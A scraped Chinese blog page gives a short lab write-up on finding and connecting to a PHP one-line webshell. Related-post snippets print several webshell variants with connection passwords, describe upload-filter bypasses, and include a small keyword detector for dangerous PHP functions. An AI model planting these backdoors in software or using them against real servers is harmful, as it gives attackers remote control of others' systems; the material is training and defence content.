WebShell代码分析溯源(第1题)

最新推荐文章于 2024-09-28 23:32:11 发布

jeehoon

最新推荐文章于 2024-09-28 23:32:11 发布

阅读量246

点赞数

CC 4.0 BY-SA版权

本文链接：https://blog.youkuaiyun.com/jeehoon/article/details/100551492

本文介绍了一种一句话木马的变种检测方法，通过下载源代码并查找特定参数，如将POST设置为assert，来识别潜在的恶意代码。文中还提到了使用菜刀工具进行进一步的漏洞利用，输入特定密码GET以获取关键信息。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

下载源代码，寻找一句话木马所在的文件，发现这个是一句话木马的变种，我们在令参数POST = assert
http://219.153.49.228:49780/www/cn-right.php?POST=assert
然后打开菜刀，输入密码GET

在这里插入图片描述获得key

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

jeehoon

关注关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
分享

复制链接

分享到 QQ

分享到新浪微博

扫一扫
举报

举报

（速通版）【墨者学院网络数据包流量分析所有题目解析】

ping204568238的博客

05-06

1091

题目：某日，网络管理员抓取一段Wireshark数据包，其中有终端违规登录QQ号，请查找出这个QQ号码第一步用过滤语句：http contains "qq.com"过滤出qq的相关数据第二步找到cookie请求中的uin字段，uin后面默认跟着QQ号（注意去掉O号）。

Webshell溯源排査与反制

2301_76786857的博客

03-15

742

溯源排查中比较重要的一环是web突破口排查，攻击者通过web突破口入侵时，有极大的概率会写入webshell

参与评论您还未登录，请先登录后发表或查看评论

墨者学院 - WebShell代码分析溯源(第2题)

多崎巡礼的博客

07-31

798

<?php $POST['POST']='assert'; $array[]=$POST; $array[0]['POST']($_POST['assert']) ;?> assert，是php代码执行函数，与eval()有同样的功能，assert（）函数中参数为表达式（或者为函数）因为$array[], POST[]都是数组，所以$array[]=$POST，就是...

WebShell代码分析溯源(第1题)墨者学院

weixin_34161032的博客

01-10

278

一、访问链接二、下载系统源码后直接放到D盾里扫描，扫到后门文件三、查看该木马文件 <?phperror_reporting(0);$_GET['POST']($_POST['GET']);?> 1.error_reporting(0); 关闭错误报告 2.$_GET['POST']($_POST['GET']); 一句话木马，GET传...

墨者 - WebShell代码分析溯源(第1题)

吃肉唐僧的博客

07-12

234

下载源码后，一个一个文件看看到一句话木马文件，至于代码是什么意思我有一篇博客做题的时候已经详细探究过：https://blog.youkuaiyun.com/qq_39936434/article/details/95591629 接下开就是菜刀无惧链接 ...

墨者学院-WebShell代码分析溯源(第1题)

JimWu的博客

09-04

299

WebShell代码分析溯源(第1题) 难易程度:★ 题目类型:代码审计使用工具:FireFox浏览器、记事本、菜刀 1.打开靶场，下载网页源代码。 2.打开文件夹，寻找可疑的文件，发现可疑文件cn-right.php。打开发现，典型的一句话木马。 3.打开菜刀，尝试连接。 url为http://219.153.49.228:43269/www/cn-right.php?POST=asser...

墨者学院 - WebShell代码分析溯源(第5题)

多崎巡礼的博客

08-02

874

一个个看，，，找到该文件，经典的回调函数形式菜刀连接， ip/www/Exception.php?POST=assert 密码为assert 得到key 关于回调函数可参考此文章 https://blog.youkuaiyun.com/qq_24196029/article/details/78118680 <?php error_reporting(0); call...

墨者学院 - WebShell代码分析溯源(第3题)

多崎巡礼的博客

07-31

871

$g是个数组，根据ASCll码对应表可以得到$g[1]='s'，chr('116')='t'，那么$gg=assert，@$gg($_POST[joker])不就是assert($_POST[joker])，组成了我们常见的一句话脚本运用菜刀访问目录 ip/www/js/jquery1.42.min.php 密码get html路径下拿到key <?php...

墨者学院 - WebShell代码分析溯源(第4题)

多崎巡礼的博客

08-02

753

唉让我如此信任的工具在这道题上栽了跟头。。。嗯，以后的结果仅供参考。下载源代码，在hack文件夹下发现bin.php 打开分析代码得知其为php回调函数类一句话木马且获得其密码，通过菜刀连接菜刀连接http://219.153.49.228:42394/www/hack/bin.php?e=YXNzZXJ0 密码为POST array_filter()函数用回调函数过...

WebShell文件上传漏洞分析溯源

02-22

WebShell 文件上传漏洞分析溯源一、WebShell 文件上传漏洞概述 WebShell 文件上传漏洞是指攻击者通过上传恶意文件（如WebShell）来获取服务器的控制权，从而实现对服务器的攻击和控制。这种漏洞通常存在于Web应用...

墨者学院 - WebShell代码分析溯源(第8题)

多崎巡礼的博客

08-05

765

审查代码 1、先找到黑页所在目录，观察同层级的其他文件命名和修改时间，选中可疑文件审计代码 2、没有新的发现，就去目录查找，根据最后的修改时间排查。 C:\Users\BayernChenTutu\Desktop\www_bak\fields\class-wp-rest-comment-meta-style.php <?php error_reporting(0); ...

WebShell文件上传漏洞分析溯源(第1题)

WEB渗透测试从入门到萌新

04-07

1472

题目地址:WebShell文件上传漏洞分析溯源(第1题)_文件上传_在线靶场_墨者学院_专注于网络安全人才培养一句话木马文件 <?php eval(@$_POST['123456']);?> 接下来使用burpsite 1、设置代理 2、配置burpsite 代理抓包 ctrl +r ...

墨者学院 - WebShell文件上传漏洞分析溯源(第1题)

多崎巡礼的博客

07-26

1609

上传图片成功上传php失败，即存在过滤尝试更改php版本上传成功得到key

WebShell文件上传漏洞分析溯源(第1题)实战

qq_52190342的博客

09-28

467

连接密码：cmd，测试连接后显示连接成功。

【WEB】WebShell代码分析溯源(第4题)

HAPPY

08-19

1242

查看到可以webshell后定位到源代码：这个的用法： get网址中传入 ?e=YXNzZXJ0 (arrest的base64加密值为YXNzZXJ0）菜刀连接用法: http://www.xxx.com/3.php?e=YXNzZXJ0 密码：POST 详解：base64_decode()函数主要用于base64的解码，YXNzZXJ0的base64解码后的结果为...

网络安全学习--014--木马及木马后门的讲解，webshell箱子溯源追踪

隔壁山上小道士的博客

02-07

2268

提示：本文所讨论的技术仅用于研究学习，旨在提高大家信息安全意识，任何人不得将其用于非法目的。 @木马及木马后门的讲解，webshell箱子溯源追踪一：webshell制作原理 webshell:即web网站后门 getshell:是指拿webshell的过程 1.webshell的种类一句话木马小马大马打包马脱裤马 2.一句话木马: 介绍：一句话木马短小精悍，而且功能强大，隐蔽性非常好，在入侵中始终扮演着强大的作用。这是一个一句话木马，我们把它插入到asp的网页中，然后用菜刀链接一下

墨者学院WebShell文件上传漏洞分析溯源

gudugeji的博客

10-22

457

1.第一题编写一句话木马，然后上传文件，改文件不可上传，改后缀为php5 然后用菜刀连接连接成功打开html，得到flag 2.第二题上传shell图片，burp抓包，改jpg为php，点Forward，然后菜刀连接，同题1 ...

墨者 - WebShell代码分析溯源(第2题)

吃肉唐僧的博客

07-12

300

下载文件，查看index.php 发现一句话木马 <?php $POST['POST']='assert';$array[]=$POST;$array[0]['POST']($_POST['assert']);?> 解释一下，这是一句话木马的变种 $array[],POST[]都是数组（表单域的名称会自动成为 $_POST 数组中的键），所以array[]=arra...

墨者学院WebShell文件上传漏洞分析溯源(第1题)

最新发布

04-03

### 墨者学院 WebShell 文件上传漏洞分析与溯源方法 #### 背景概述 WebShell 是一种嵌入到目标服务器中的脚本程序，攻击者可以通过它远程控制受害者的服务器。文件上传漏洞通常允许攻击者通过伪造请求或其他手段绕过安全机制，在服务器上放置恶意脚本。在墨者学院的相关题目中提到的内容涉及多个方面，包括 MIME 类型篡改、禁用 JavaScript 绕过前端验证以及利用后缀名规避检测等技术[^1]。 --- #### 漏洞成因分析文件上传漏洞的主要原因在于服务端对上传文件的安全校验不足。具体表现为以下几个方面： 1. **MIME 类型校验不严格** 攻击者可以使用工具（如 Burp Suite）抓取 HTTP 请求并修改其 MIME 类型字段，从而绕过基于内容类型的限制。例如，将 `.txt` 文件伪装为 `image/jpeg` 格式的图片文件。 2. **依赖客户端验证** 如果仅依靠浏览器端的 JavaScript 验证来阻止非法文件类型，则容易被禁用或绕过。一旦禁用了 JavaScript 功能，就可以轻松提交不符合预期规则的文件[^2]。 3. **扩展名校验缺陷** 当某些应用只检查文件名而未深入解析实际内容时，可能会接受带有特殊后缀名（比如 `.php5`, `.pht` 等变种 PHP 扩展）的文件作为合法输入[^3]。这使得即使表面上看似正常的文件也可能隐藏潜在威胁。 --- #### 解决方案建议为了有效防范此类问题的发生，可以从以下几方面着手改进防护措施: - 加强服务端逻辑设计, 不应单纯信任来自用户的任何数据; - 对于上传过程实施多重过滤策略, 如限定白名单内的 mime-type 和尺寸范围之外还需确认最终存储形式确实无害； - 定期审查现有代码库寻找可能存在的安全隐患点，并及时修补已知漏洞；以下是实现上述部分功能的一个 Python 示例演示如何初步判断一个给定字符串是否可能是危险命令执行语句的一部分: ```python import re def is_potentially_dangerous(input_string): pattern = r'(?:exec|passthru|shell_exec|system|proc_open|popen)' match_result = re.search(pattern, input_string.lower()) return bool(match_result) test_strings = ["<?php echo 'hello'; ?>", "<?php system('ls'); ?>"] for s in test_strings: print(f"'{s}' -> {is_potentially_dangerous(s)}") ``` 此函数会返回 True 或 False 表明传入参数是否存在可疑的关键字组合。 --- #### 总结通过对墨者学院案例的学习可以看出，针对 web shell 的防御工作需要综合考虑多层面的因素，从前端界面交互直至后台数据库操作均需保持高度警惕以防万一环节疏漏造成严重后果。